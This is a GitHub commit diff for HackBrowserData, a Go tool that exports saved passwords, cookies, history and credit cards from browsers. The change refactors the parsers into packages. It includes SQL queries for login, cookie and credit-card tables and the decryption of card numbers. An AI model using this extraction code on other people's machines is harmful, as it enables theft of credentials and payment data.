Skip to content

Commit

Permalink
feat: update to v0.4.0, based by generics
Browse files Browse the repository at this point in the history
  • Loading branch information
moonD4rk committed Apr 17, 2022
1 parent 6217ca3 commit aa3326f
Show file tree
Hide file tree
Showing 16 changed files with 252 additions and 135 deletions.
10 changes: 5 additions & 5 deletions cmd/hack-browser-data/main.go
Original file line number Diff line number Diff line change
Expand Up @@ -28,14 +28,14 @@ func Execute() {
app := &cli.App{
Name: "hack-browser-data",
Usage: "Export passwords/cookies/history/bookmarks from browser",
UsageText: "[hack-browser-data -b chrome -f json -dir results -cc]\nGet all browingdata(password/cookie/history/bookmark) from browser",
UsageText: "[hack-browser-data -b chrome -f json -dir results -cc]\nExport all browingdata(password/cookie/history/bookmark) from browser\nGithub Link: https://github.com/moonD4rk/HackBrowserData",
Version: "0.4.0",
Flags: []cli.Flag{
&cli.BoolFlag{Name: "verbose", Aliases: []string{"vv"}, Destination: &verbose, Value: false, Usage: "verbose"},
&cli.BoolFlag{Name: "compress", Aliases: []string{"cc"}, Destination: &compress, Value: false, Usage: "compress result to zip"},
&cli.BoolFlag{Name: "compress", Aliases: []string{"zip"}, Destination: &compress, Value: false, Usage: "compress result to zip"},
&cli.StringFlag{Name: "browser", Aliases: []string{"b"}, Destination: &browserName, Value: "all", Usage: "available browsers: all|" + strings.Join(browser.ListBrowser(), "|")},
&cli.StringFlag{Name: "results-dir", Aliases: []string{"dir"}, Destination: &outputDir, Value: "results", Usage: "export dir"},
&cli.StringFlag{Name: "format", Aliases: []string{"f"}, Destination: &outputFormat, Value: "csv", Usage: "format, csv|json|console"},
&cli.StringFlag{Name: "format", Aliases: []string{"f"}, Destination: &outputFormat, Value: "csv", Usage: "file name csv|json"},
&cli.StringFlag{Name: "profile-path", Aliases: []string{"p"}, Destination: &profilePath, Value: "", Usage: "custom profile dir path, get with chrome://version"},
},
HideHelpCommand: true,
Expand All @@ -56,11 +56,11 @@ func Execute() {
}

for _, b := range browsers {
data, err := b.GetBrowsingData()
data, err := b.BrowsingData()
if err != nil {
log.Error(err)
}
data.Output(outputDir, browserName, outputFormat)
data.Output(outputDir, b.Name(), outputFormat)
}
if compress {
if err = fileutil.CompressDir(outputDir); err != nil {
Expand Down
7 changes: 6 additions & 1 deletion internal/browingdata/bookmark/bookmark.go
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
package browingdata
package bookmark

import (
"database/sql"
Expand Down Expand Up @@ -82,6 +82,11 @@ func (c *ChromiumBookmark) Name() string {

type FirefoxBookmark []bookmark

const (
queryFirefoxBookMark = `SELECT id, url, type, dateAdded, title FROM (SELECT * FROM moz_bookmarks INNER JOIN moz_places ON moz_bookmarks.fk=moz_places.id)`
closeJournalMode = `PRAGMA journal_mode=off`
)

func (f *FirefoxBookmark) Parse(masterKey []byte) error {
var (
err error
Expand Down
107 changes: 24 additions & 83 deletions internal/browingdata/browsingdata.go
Original file line number Diff line number Diff line change
Expand Up @@ -2,11 +2,15 @@ package browingdata

import (
"path"
"time"

"hack-browser-data/internal/browingdata/bookmark"
"hack-browser-data/internal/browingdata/cookie"
"hack-browser-data/internal/browingdata/creditcard"
"hack-browser-data/internal/browingdata/download"
"hack-browser-data/internal/browingdata/history"
"hack-browser-data/internal/browingdata/password"
"hack-browser-data/internal/item"
"hack-browser-data/internal/log"
"hack-browser-data/internal/outputter"
"hack-browser-data/internal/utils/fileutil"
)

Expand Down Expand Up @@ -38,18 +42,18 @@ func (d *Data) Recovery(masterKey []byte) error {
return nil
}

func (d *Data) Output(dir, browserName, output string) {
outputter := outputter.New(output)
func (d *Data) Output(dir, browserName, flag string) {
output := NewOutPutter(flag)

for _, source := range d.Sources {

filename := fileutil.Filename(browserName, source.Name(), outputter.Ext())
filename := fileutil.Filename(browserName, source.Name(), output.Ext())

f, err := outputter.CreateFile(dir, filename)
f, err := output.CreateFile(dir, filename)
if err != nil {
log.Error(err)
}
if err := outputter.Write(source, f); err != nil {
if err := output.Write(source, f); err != nil {
log.Error(err)
}
log.Noticef("output to file %s success", path.Join(dir, filename))
Expand All @@ -60,94 +64,31 @@ func (d *Data) addSource(Sources []item.Item) {
for _, source := range Sources {
switch source {
case item.ChromiumPassword:
d.Sources[source] = &ChromiumPassword{}
d.Sources[source] = &password.ChromiumPassword{}
case item.ChromiumCookie:
d.Sources[source] = &ChromiumCookie{}
d.Sources[source] = &cookie.ChromiumCookie{}
case item.ChromiumBookmark:
d.Sources[source] = &ChromiumBookmark{}
d.Sources[source] = &bookmark.ChromiumBookmark{}
case item.ChromiumHistory:
d.Sources[source] = &ChromiumHistory{}
d.Sources[source] = &history.ChromiumHistory{}
case item.ChromiumDownload:
d.Sources[source] = &ChromiumDownload{}
d.Sources[source] = &download.ChromiumDownload{}
case item.ChromiumCreditCard:
d.Sources[source] = &ChromiumCreditCard{}
d.Sources[source] = &creditcard.ChromiumCreditCard{}
case item.YandexPassword:
d.Sources[source] = &YandexPassword{}
d.Sources[source] = &password.YandexPassword{}
case item.YandexCreditCard:
d.Sources[source] = &YandexCreditCard{}
d.Sources[source] = &creditcard.YandexCreditCard{}
case item.FirefoxPassword:
d.Sources[source] = &FirefoxPassword{}
d.Sources[source] = &password.FirefoxPassword{}
case item.FirefoxCookie:
d.Sources[source] = &FirefoxCookie{}
d.Sources[source] = &cookie.FirefoxCookie{}
case item.FirefoxBookmark:
d.Sources[source] = &FirefoxBookmark{}
d.Sources[source] = &bookmark.FirefoxBookmark{}
case item.FirefoxHistory:
d.Sources[source] = &FirefoxHistory{}
d.Sources[source] = &history.FirefoxHistory{}
case item.FirefoxDownload:
d.Sources[source] = &FirefoxDownload{}
d.Sources[source] = &download.FirefoxDownload{}
}
}
}

const (
queryChromiumCredit = `SELECT guid, name_on_card, expiration_month, expiration_year, card_number_encrypted, billing_address_id, nickname FROM credit_cards`
queryChromiumLogin = `SELECT origin_url, username_value, password_value, date_created FROM logins`
queryYandexLogin = `SELECT action_url, username_value, password_value, date_created FROM logins`
queryChromiumHistory = `SELECT url, title, visit_count, last_visit_time FROM urls`
queryChromiumDownload = `SELECT target_path, tab_url, total_bytes, start_time, end_time, mime_type FROM downloads`
queryChromiumCookie = `SELECT name, encrypted_value, host_key, path, creation_utc, expires_utc, is_secure, is_httponly, has_expires, is_persistent FROM cookies`
queryFirefoxHistory = `SELECT id, url, last_visit_date, title, visit_count FROM moz_places where title not null`
queryFirefoxDownload = `SELECT place_id, GROUP_CONCAT(content), url, dateAdded FROM (SELECT * FROM moz_annos INNER JOIN moz_places ON moz_annos.place_id=moz_places.id) t GROUP BY place_id`
queryFirefoxBookMark = `SELECT id, url, type, dateAdded, title FROM (SELECT * FROM moz_bookmarks INNER JOIN moz_places ON moz_bookmarks.fk=moz_places.id)`
queryFirefoxCookie = `SELECT name, value, host, path, creationTime, expiry, isSecure, isHttpOnly FROM moz_cookies`
queryMetaData = `SELECT item1, item2 FROM metaData WHERE id = 'password'`
queryNssPrivate = `SELECT a11, a102 from nssPrivate`
closeJournalMode = `PRAGMA journal_mode=off`
)

type (
loginData struct {
UserName string
encryptPass []byte
encryptUser []byte
Password string
LoginUrl string
CreateDate time.Time
}
cookie struct {
Host string
Path string
KeyName string
encryptValue []byte
Value string
IsSecure bool
IsHTTPOnly bool
HasExpire bool
IsPersistent bool
CreateDate time.Time
ExpireDate time.Time
}
history struct {
Title string
Url string
VisitCount int
LastVisitTime time.Time
}
download struct {
TargetPath string
Url string
TotalBytes int64
StartTime time.Time
EndTime time.Time
MimeType string
}
card struct {
GUID string
Name string
ExpirationYear string
ExpirationMonth string
CardNumber string
Address string
NickName string
}
)
25 changes: 24 additions & 1 deletion internal/browingdata/cookie/cookie.go
Original file line number Diff line number Diff line change
@@ -1,9 +1,10 @@
package browingdata
package cookie

import (
"database/sql"
"os"
"sort"
"time"

_ "github.com/mattn/go-sqlite3"

Expand All @@ -15,6 +16,24 @@ import (

type ChromiumCookie []cookie

type cookie struct {
Host string
Path string
KeyName string
encryptValue []byte
Value string
IsSecure bool
IsHTTPOnly bool
HasExpire bool
IsPersistent bool
CreateDate time.Time
ExpireDate time.Time
}

const (
queryChromiumCookie = `SELECT name, encrypted_value, host_key, path, creation_utc, expires_utc, is_secure, is_httponly, has_expires, is_persistent FROM cookies`
)

func (c *ChromiumCookie) Parse(masterKey []byte) error {
cookieDB, err := sql.Open("sqlite3", item.TempChromiumCookie)
if err != nil {
Expand Down Expand Up @@ -77,6 +96,10 @@ func (c *ChromiumCookie) Name() string {

type FirefoxCookie []cookie

const (
queryFirefoxCookie = `SELECT name, value, host, path, creationTime, expiry, isSecure, isHttpOnly FROM moz_cookies`
)

func (f *FirefoxCookie) Parse(masterKey []byte) error {
cookieDB, err := sql.Open("sqlite3", item.TempFirefoxCookie)
if err != nil {
Expand Down
31 changes: 24 additions & 7 deletions internal/browingdata/creditcard/creditcard.go
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
package browingdata
package creditcard

import (
"database/sql"
Expand All @@ -13,6 +13,20 @@ import (

type ChromiumCreditCard []card

type card struct {
GUID string
Name string
ExpirationYear string
ExpirationMonth string
CardNumber string
Address string
NickName string
}

const (
queryChromiumCredit = `SELECT guid, name_on_card, expiration_month, expiration_year, card_number_encrypted, billing_address_id, nickname FROM credit_cards`
)

func (c *ChromiumCreditCard) Parse(masterKey []byte) error {
creditDB, err := sql.Open("sqlite3", item.TempChromiumCreditCard)
if err != nil {
Expand Down Expand Up @@ -70,24 +84,27 @@ func (c *YandexCreditCard) Parse(masterKey []byte) error {
}
defer os.Remove(item.TempYandexCreditCard)
defer creditDB.Close()
defer creditDB.Close()
rows, err := creditDB.Query(queryChromiumCredit)
if err != nil {
return err
}
defer rows.Close()
for rows.Next() {
var (
name, month, year, guid string
value, encryptValue []byte
name, month, year, guid, address, nickname string
value, encryptValue []byte
)
if err := rows.Scan(&guid, &name, &month, &year, &encryptValue); err != nil {
if err := rows.Scan(&guid, &name, &month, &year, &encryptValue, &address, &nickname); err != nil {
log.Warn(err)
}
creditCardInfo := card{
ccInfo := card{
GUID: guid,
Name: name,
ExpirationMonth: month,
ExpirationYear: year,
Address: address,
NickName: nickname,
}
if masterKey == nil {
value, err = decrypter.DPApi(encryptValue)
Expand All @@ -100,8 +117,8 @@ func (c *YandexCreditCard) Parse(masterKey []byte) error {
return err
}
}
creditCardInfo.CardNumber = string(value)
*c = append(*c, creditCardInfo)
ccInfo.CardNumber = string(value)
*c = append(*c, ccInfo)
}
return nil
}
Expand Down
21 changes: 20 additions & 1 deletion internal/browingdata/download/download.go
Original file line number Diff line number Diff line change
@@ -1,10 +1,11 @@
package browingdata
package download

import (
"database/sql"
"os"
"sort"
"strings"
"time"

"hack-browser-data/internal/item"
"hack-browser-data/internal/log"
Expand All @@ -16,6 +17,19 @@ import (

type ChromiumDownload []download

type download struct {
TargetPath string
Url string
TotalBytes int64
StartTime time.Time
EndTime time.Time
MimeType string
}

const (
queryChromiumDownload = `SELECT target_path, tab_url, total_bytes, start_time, end_time, mime_type FROM downloads`
)

func (c *ChromiumDownload) Parse(masterKey []byte) error {
historyDB, err := sql.Open("sqlite3", item.TempChromiumDownload)
if err != nil {
Expand Down Expand Up @@ -58,6 +72,11 @@ func (c *ChromiumDownload) Name() string {

type FirefoxDownload []download

const (
queryFirefoxDownload = `SELECT place_id, GROUP_CONCAT(content), url, dateAdded FROM (SELECT * FROM moz_annos INNER JOIN moz_places ON moz_annos.place_id=moz_places.id) t GROUP BY place_id`
closeJournalMode = `PRAGMA journal_mode=off`
)

func (f *FirefoxDownload) Parse(masterKey []byte) error {
var (
err error
Expand Down
Loading

0 comments on commit aa3326f

Please sign in to comment.